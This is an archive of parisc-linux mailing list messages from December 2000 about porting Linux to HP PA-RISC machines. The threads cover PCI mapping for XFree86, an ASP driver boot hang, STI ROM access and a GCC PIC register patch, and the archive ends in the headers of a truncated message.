> > /dev/port and pread/pwrite the file handle for each port I/O.
> 
> Why do you think only I/O port space can be used for XFree86?

The initial card bring up is done as if it was an ISA device (PCI bus 
has hacks for this). The emulator will use entirely I/O cycles to bring the
card up in most cases.

> Is the BIOS/x86 emulator wanting to talk to VGA registers the issue?

To start with. Not all PC devices have MMIO at all.

> jsm tells me VGA MMIO lives at 0xA0000.

That is the frame buffer memory.

> Dino only forwards 0xf0800000 through FF80_0000-1 to the PCI bus below.
> (See section 7.9 "Accessing PCI Memory Space" in dino3.pdf).

Thats ok. PCI has BAR{n} registers to set base addresses. The rest is down to
lying in the correct way to everybody concerned

So we just need to set it up so that the PCI mapping of the registers is 
put in the F080->FF80 range, and that XFree is told to mmap F080->FF80 range
addresses but believing they are 0->n ranges.

That kind of PCI fixup is quite doable. The older Alphas for example have
byte, word and long access windows (the early alphas had no byte operations
internally or at bus level) which was far worse.

Alan


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kai Walter <KaiW@intec-ag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/33 hangs after request_irq(259,c01ecbec, 0x0, asp, c0fee080)
Date: Fri, 1 Dec 2000 15:02:51 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <D0F134B21994D111A2320800097DCB2C9E0B28@hermes.intec-is.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C05B9F.650DBA20"
X-Trace: ger.gmane.org 1416619376 7688 80.91.229.3 (22 Nov 2014 01:22:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:56 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: KaiW@intec-ag.com  Fri Dec  1 07:02:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA17750
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Dec 2000 07:02:25 -0700
Original-Received: (qmail 14385 invoked by uid 15267); 1 Dec 2000 14:04:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14360 invoked from network); 1 Dec 2000 14:04:54 -0000
Original-Received: from sdt4.sdt.net (HELO mail.sdt.net) (root@194.88.160.4)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 14:04:54 -0000
Original-Received: from [194.88.164.1] (helo=hermes.intec-is.com)
	by mail.sdt.net with esmtp (Exim 3.14 #5)
	id 141qoK-00012n-00
	for parisc-linux@thepuffingroup.com; Fri, 01 Dec 2000 15:05:12 +0100
Original-Received: by hermes.intec-is.com with Internet Mail Service (5.5.2653.19)
	id <X359X3AC>; Fri, 1 Dec 2000 15:03:00 +0100
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:8718

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C05B9F.650DBA20
Content-Type: text/plain;
	charset="ISO-8859-1"

Hi
 
got our 715/33 up with rbootd and Image-20000803. After the
"request_irq(259,c01ecbec, 0x0, asp, c0fee080)" it stops booting/responding.
Should I have a special Image for this machine ?
 
Devices found are Stinger Optional Graphics, Scorpio Jr. Core
BA,SCSI,LAN,HIL,RS-232,Centronics,Audio,(715/33) and (1).
 
Thanks
Kai

------_=_NextPart_001_01C05B9F.650DBA20
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">


<META content="MSHTML 5.50.4522.1800" name=GENERATOR></HEAD>
<BODY>
<DIV><SPAN class=077405913-01122000><FONT face=Arial 
size=2>Hi</FONT></SPAN></DIV>
<DIV><SPAN class=077405913-01122000><FONT face=Arial 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=077405913-01122000><FONT face=Arial size=2>got our 715/33 up 
with rbootd and Image-20000803. After&nbsp;the "request_irq(259,c01ecbec, 0x0, 
asp, c0fee080)" it stops booting/responding. Should I have a special Image for 
this machine ?</FONT></SPAN></DIV>
<DIV><SPAN class=077405913-01122000><FONT face=Arial 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=077405913-01122000><FONT face=Arial size=2>Devices found are 
Stinger Optional Graphics, Scorpio Jr. Core 
BA,SCSI,LAN,HIL,RS-232,Centronics,Audio,(715/33) and (1).</FONT></SPAN></DIV>
<DIV><SPAN class=077405913-01122000><FONT face=Arial 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=077405913-01122000><FONT face=Arial 
size=2>Thanks</FONT></SPAN></DIV>
<DIV><SPAN class=077405913-01122000><FONT face=Arial 
size=2>Kai</FONT></SPAN></DIV></BODY></HTML>

------_=_NextPart_001_01C05B9F.650DBA20--


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 hangs after request_irq(259,c01ecbec, 0x0, asp, c0fee080)
Date: Fri, 1 Dec 2000 15:09:43 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20001201150943.C7166@linuxcare.com>
References: <D0F134B21994D111A2320800097DCB2C9E0B28@hermes.intec-is.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619376 7694 80.91.229.3 (22 Nov 2014 01:22:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:56 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: Kai Walter <KaiW@intec-ag.com>
Original-X-From: rhirst@linuxcare.com  Fri Dec  1 08:11:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA20142
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Dec 2000 08:11:19 -0700
Original-Received: (qmail 6833 invoked by uid 15267); 1 Dec 2000 15:13:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6810 invoked from network); 1 Dec 2000 15:13:48 -0000
Original-Received: from user-221-137.jakinternet.co.uk (HELO rhirst.linuxcare.com) (212.187.221.137)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 15:13:48 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 70D9CB007; Fri,  1 Dec 2000 15:09:43 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <D0F134B21994D111A2320800097DCB2C9E0B28@hermes.intec-is.com>; from KaiW@intec-ag.com on Fri, Dec 01, 2000 at 03:02:51PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8719

On Fri, Dec 01, 2000 at 03:02:51PM +0100, Kai Walter wrote:
> Hi
>  
> got our 715/33 up with rbootd and Image-20000803. After the
> "request_irq(259,c01ecbec, 0x0, asp, c0fee080)" it stops booting/responding.
> Should I have a special Image for this machine ?

You probably need a new kernel.  There was a problem with the ASP
parallel port driver on older machines.  I believe it is fixed now.

Richard


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sti rom access on B132/B180
Date: Fri, 01 Dec 2000 16:42:20 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <3A27C6DC.EA6F6965@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619377 7704 80.91.229.3 (22 Nov 2014 01:22:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: xavier.debacker@esiee.net  Fri Dec  1 08:37:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA20736
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Dec 2000 08:37:00 -0700
Original-Received: (qmail 12043 invoked by uid 15267); 1 Dec 2000 15:39:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12021 invoked from network); 1 Dec 2000 15:39:28 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 15:39:28 -0000
Original-Received: from esiee.net (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 83677D15A6
	for <parisc-linux@thepuffingroup.com>; Fri,  1 Dec 2000 16:39:21 +0100 (CET)
Original-Sender: debackex@esiee.fr
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8720

Hi everyone!

i'm trying to find the sti rom...

well, unlike the 712,715 and 725, the address is not in the pdc.

for sgc and gsc based graphic cards, the sti rom has to be available at
the base hpa, which can be one of those addresses: 0xf4000000,
0xf6000000, 0xf8000000, or 0xfa000000.

the bios indicates that the graphics are at 0xf8000000

the other memory spaces are unaccessible, that's ok. 
but the problem is that 0xf8000000 is full of zeros (no rom)

two possibilies then:
- pdc has relocated the sti rom: impossible since kernel doesn't do any
PDC relocation.
- it's pci based card, so the sti rom must be accessible through the pci
expansion rom space and optionally, the base hpa.

so the questions are:
how can i access the pci expansion rom (do you have doc?)?
or do you have any other idea?

thanks for your help!

ESIEE Team.


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Net boot image.
Date: Fri, 1 Dec 2000 15:12:03 -0200 (BRST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.1001201150626.7803A-100000@latt.if.usp.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619377 7715 80.91.229.3 (22 Nov 2014 01:22:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:57 +0000 (UTC)
Cc: assirati@socrates.if.usp.br
To: parisc-linux@thepuffingroup.com
Original-X-From: delyra@latt.if.usp.br  Fri Dec  1 10:10:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA22598
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Dec 2000 10:10:21 -0700
Original-Received: (qmail 23498 invoked by uid 15267); 1 Dec 2000 17:12:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23397 invoked from network); 1 Dec 2000 17:12:47 -0000
Original-Received: from latt.if.usp.br (143.107.129.103)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 17:12:47 -0000
Original-Received: (qmail 7827 invoked by uid 1003); 1 Dec 2000 17:12:03 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 1 Dec 2000 17:12:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:8721

I saw on the list that someone had managed to boot using Image-20000803 so
I tried to net boot our 735-125 with it and it worked. I mean, the netboot
part, the kernel hangs at the same point as before: ASP. The ftp site is a
bit confusing, it is hard to know what is what in there. In any case, this
image is huge, almost 7 MB, it looks like the ISO image so far as "file"
shows. I got curious: why is it so large, more than 3 times the kernel?

----------------------------------------------------------------
        Jorge L. deLyra,  Associate Professor of Physics
            The University of Sao Paulo,  IFUSP-DFMA
       For more information: finger delyra@latt.if.usp.br
----------------------------------------------------------------


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti rom access on B132/B180
Date: Fri, 01 Dec 2000 09:47:59 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <200012011748.JAA01316@milano.cup.hp.com>
References: <3A27C6DC.EA6F6965@esiee.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619377 7721 80.91.229.3 (22 Nov 2014 01:22:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Xavier Debacker <xavier.debacker@esiee.net>
Original-X-From: grundler@cup.hp.com  Fri Dec  1 11:00:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA23501
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Dec 2000 11:00:45 -0700
Original-Received: (qmail 9804 invoked by uid 15267); 1 Dec 2000 18:02:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16283 invoked from network); 1 Dec 2000 17:47:33 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 17:47:33 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id EF7C243C; Fri,  1 Dec 2000 09:47:31 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA01316;
	Fri, 1 Dec 2000 09:48:00 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 01 Dec 2000 16:42:20 PST."
             <3A27C6DC.EA6F6965@esiee.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:8722

Xavier Debacker wrote:
> the bios indicates that the graphics are at 0xf8000000

s/bios/PDC/

> - it's pci based card, so the sti rom must be accessible through the pci
> expansion rom space and optionally, the base hpa.

The built-in graphics for B/C-class w/PCX-L2 CPU are *not* PCI devices.
No PCI expansion ROM.

[ In private exchange, Xavier confirmed the device in question is:
  Gecko GSC Core Graphics (10) at 0xf8000000...
]

And I have to confess out of ignorance I broke PCI Expansion ROM
support for A500.  I'll fix it in the near future.
PCI expansion ROM support should work on all other platforms.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Net boot image.
Date: Fri, 1 Dec 2000 21:07:53 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <00120121075302.00316@P100>
References: <Pine.LNX.3.96.1001201150626.7803A-100000@latt.if.usp.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619378 7730 80.91.229.3 (22 Nov 2014 01:22:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:58 +0000 (UTC)
Cc: assirati@socrates.if.usp.br
To: parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Fri Dec  1 13:05:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA25629
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Dec 2000 13:05:14 -0700
Original-Received: (qmail 20827 invoked by uid 15267); 1 Dec 2000 20:07:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20811 invoked from network); 1 Dec 2000 20:07:43 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 1 Dec 2000 20:07:43 -0000
Original-Received: (qmail 22044 invoked by uid 0); 1 Dec 2000 20:07:42 -0000
Original-Received: from pd90403b0.dip.t-dialin.net (HELO P100) (217.4.3.176)
  by mail.gmx.net (mail02) with SMTP; 1 Dec 2000 20:07:42 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <Pine.LNX.3.96.1001201150626.7803A-100000@latt.if.usp.br>
Xref: news.gmane.org gmane.linux.ports.parisc:8723

On Friday 01 December 2000 18:12, Jorge L. deLyra wrote:
>I saw on the list that someone had managed to boot using Image-20000803 so
>I tried to net boot our 735-125 with it and it worked. I mean, the netboot
>part, the kernel hangs at the same point as before: ASP. 

Hi Jorge,

The ASP-parport-problem was fixed yesterday. You should try a newer kernel, 
or cross-compile yourself a new one.

Greetings,

 Helge


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 2 Dec 2000 18:15:14 +1100 (EST)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012021658060.21742-100000@front.linuxcare.com.au>
References: <20001201202613.E7166@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619378 7737 80.91.229.3 (22 Nov 2014 01:22:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Sat Dec  2 00:13:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA30276
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 00:13:14 -0700
Original-Received: (qmail 6667 invoked by uid 15267); 2 Dec 2000 07:15:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6650 invoked from network); 2 Dec 2000 07:15:43 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 2 Dec 2000 07:15:43 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA23742;
	Sat, 2 Dec 2000 18:15:14 +1100
In-Reply-To: <20001201202613.E7166@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8724

On Fri, 1 Dec 2000, Richard Hirst wrote:

> Hi Alan,
>   I think I've found a case where it calls an external function with
> dp corrupt, sym53c8xx.c again, in ncr_setsync().  Don't know if this
> is relevant given what you now know about the bug.
> 
> .L2977:
>         ldh 66(%r3),%r28
>         extrw,u %r28,31,16,%r19
>         extrw,u %r19,30,31,%r26
>         copy %r19,%r25
>         add,l %r21,%r26,%r26
>         .IMPORT $$divU,MILLICODE
>         b,l $$divU,%r2			<< stub will corrupt dp
>         ldi 2000,%r20
>         cmpb,<< %r20,%r19,.L2978
>         extrd,u %r29,63,32,%r5
>         ldh 1688(%r6),%r20
>         ldi 32,%r19
>         cmpb,= %r19,%r20,.L2978
>         ldi 33,%r19
>         cmpb,=,n %r19,%r20,.L2978
>         ldd 1632(%r6),%r26
>         ldo -16(%r30),%r29
>         b,l _gsc_readb,%r2		<< enters stub with wrong dp
>         ldo 78(%r26),%r26
>         copy %r4,%r27
>         ldd 1632(%r6),%r25
> 
> I hope I'm not supposed to do anything special with that $$divU call,

Unfortunately, I think you are supposed to.  All the $$ routines are from
the millicode library, and are treated specially by the linker.  When
doing a final link, these functions are never supplied by a shared
library, but must come from a static lib like libgcc.a, or
libmilli.a.  This has the effect of never calling these routines via the
.plt, and so dp is preserved.  gcc isn't doing anything wrong here.

If you use a long branch stub that only trashes r1, you should be OK.
_Don't load dp for these routines!  (I hope all libmilli routines are
re-entrant - if not, we'd probably have weird kernel crashes...)

Note that all of the above applies to 32-bit modutils too.

cc:d to the mailing list in case any of the above needs correcting.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 2 Dec 2000 02:33:35 -0500 (EST)
Lines: 71
Approved: news@gmane.org
Message-ID: <200012020733.CAA24227@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0012011737510.2814-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619378 7747 80.91.229.3 (22 Nov 2014 01:22:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:58 +0000 (UTC)
Cc: law@cygnus.com, rhirst@linuxcare.com, parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Dec  2 00:31:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA30666
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 00:31:35 -0700
Original-Received: (qmail 18913 invoked by uid 15267); 2 Dec 2000 07:34:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18902 invoked from network); 2 Dec 2000 07:34:06 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 2 Dec 2000 07:34:06 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id CAA24227;
	Sat, 2 Dec 2000 02:33:35 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0012011737510.2814-100000@front.linuxcare.com.au> from "Alan Modra" at Dec 1, 2000 06:00:38 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8725

> Or is a better solution to simply ensure that r27 never dies?  I'm
> thinking of ABI and (non-gnu) linker considerations.  eg. DLTIND21L relocs
> not involving r27 may cause something to barf.

Here is a patch that I think resolves the problem.  The principal fix is
not to define PIC_OFFSET_TABLE_REG_CALL_CLOBBERED.  The reason for not
defining this is the call expander explicitly restores the pic offset register
after each call.  Thus, I think we can lie about the register being
clobbered.

When PIC_OFFSET_TABLE_REG_CALL_CLOBBERED is not defined and 
PIC_OFFSET_TABLE_REGNUM is a fixed register, flow.c implicitly puts a
use for the register at the end of each function.  This prevents combine
from "eliminating" r27.

In testing this, I tried to build glibc.  However, there seems to be
a problem with `L' character constants.  I keep getting the error
"character constant too long".  As another test, I am running a PIC
bootstrap and check in 32 bit mode under hpux 10.20.

Give it a whirl and see what you think.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2000-12-02  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* pa.h (PIC_OFFSET_TABLE_REG_CALL_CLOBBERED): Don't define.
	* pa32-regs.h (CONDITIONAL_REGISTER_USAGE): When generating pic code,
	PIC_OFFSET_TABLE_REGNUM_SAVED is a call_used register.
	* pa64-regs.h (CONDITIONAL_REGISTER_USAGE): Likewise.

--- pa.h.orig	Wed Sep 27 14:28:34 2000
+++ pa.h	Fri Dec  1 14:37:02 2000
@@ -492,10 +492,11 @@
 #define STATIC_CHAIN_REGNUM 29
 
 /* Register which holds offset table for position-independent
-   data references.  */
+   data references.  We save and restore PIC_OFFSET_TABLE_REGNUM
+   across calls so PIC_OFFSET_TABLE_REG_CALL_CLOBBERED shouldn't
+   be defined.  */
 
 #define PIC_OFFSET_TABLE_REGNUM (TARGET_64BIT ? 27 : 19)
-#define PIC_OFFSET_TABLE_REG_CALL_CLOBBERED 1
 
 /* Register into which we save the PIC_OFFEST_TABLE_REGNUM so that it
    can be restore across function calls.  */
--- pa32-regs.h.orig	Fri Jul  7 19:59:16 2000
+++ pa32-regs.h	Fri Dec  1 16:10:07 2000
@@ -113,6 +113,7 @@
     {						\
       fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
       fixed_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
+      call_used_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
     }						\
 }
 
--- pa64-regs.h.orig	Fri Jul  7 19:59:16 2000
+++ pa64-regs.h	Fri Dec  1 16:11:09 2000
@@ -112,6 +112,7 @@
     {						\
       fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
       fixed_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
+      call_used_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
     }						\
 }
 


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 2 Dec 2000 02:48:45 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200012020748.CAA27280@hiauly1.hia.nrc.ca>
References: <200012020733.CAA24227@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619379 7758 80.91.229.3 (22 Nov 2014 01:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:59 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Dec  2 00:46:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA31314
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 00:46:31 -0700
Original-Received: (qmail 29140 invoked by uid 15267); 2 Dec 2000 07:49:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29127 invoked from network); 2 Dec 2000 07:49:01 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 2 Dec 2000 07:49:01 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id CAA27280;
	Sat, 2 Dec 2000 02:48:45 -0500 (EST)
In-Reply-To: <200012020733.CAA24227@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 2, 2000 02:33:35 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8726

> In testing this, I tried to build glibc.  However, there seems to be
> a problem with `L' character constants.  I keep getting the error
> "character constant too long".  As another test, I am running a PIC
> bootstrap and check in 32 bit mode under hpux 10.20.

The build failed but its too late to figure out what's wrong.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linker errors
Date: Tue, 4 May 1999 23:30:21 -0700 (PDT)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990504232216.456A-100000@quark.ix.netcom.com>
